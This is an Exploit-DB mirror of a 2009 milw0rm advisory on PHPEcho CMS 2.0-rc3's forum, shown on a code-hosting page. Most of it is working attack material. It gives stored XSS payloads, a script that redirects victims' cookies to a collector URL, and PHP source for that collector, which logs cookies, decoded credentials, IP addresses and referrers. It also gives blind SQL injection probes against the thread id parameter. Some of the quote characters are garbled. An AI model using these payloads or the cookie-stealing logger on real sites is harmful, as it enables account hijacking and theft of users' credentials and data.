exploit-db-mirror/exploits/php/webapps/9014.txt
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

50 lines
No EOL
1.3 KiB
Text
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

PHPEcho CMS 2.0-rc3 (forum) XSS Cookie Stealing / Blind Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS
contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/
- download: http://sourceforge.net/project/showfiles.php?group_id=186100
~ [XSS]
The forum allowed insert javascript code and html code.
PoC:
"><h1>0wned</h1>
"><script>alert("JosS b0x");</script>
-----------
Cookie Stealing:
<script>window.location=Âhttp://127.0.0.1/stealing.php?cookie=Â’+document.cookie</script>
stealing.php
<?php
$archivo = fopen('log.htm','a');
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USER and PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br>
IP: ' .$ip. '<br> Date and Time: ' .$fecha. '</hr>');
fclose($archivo);
?>
~ [BLIND]
PoC:
/index.php?module=forum&show=thread&id=1 and 1=2 [False]
/index.php?module=forum&show=thread&id=1 and 1=1 [True]
/index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=5
/index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=4
__h0__
# milw0rm.com [2009-06-24]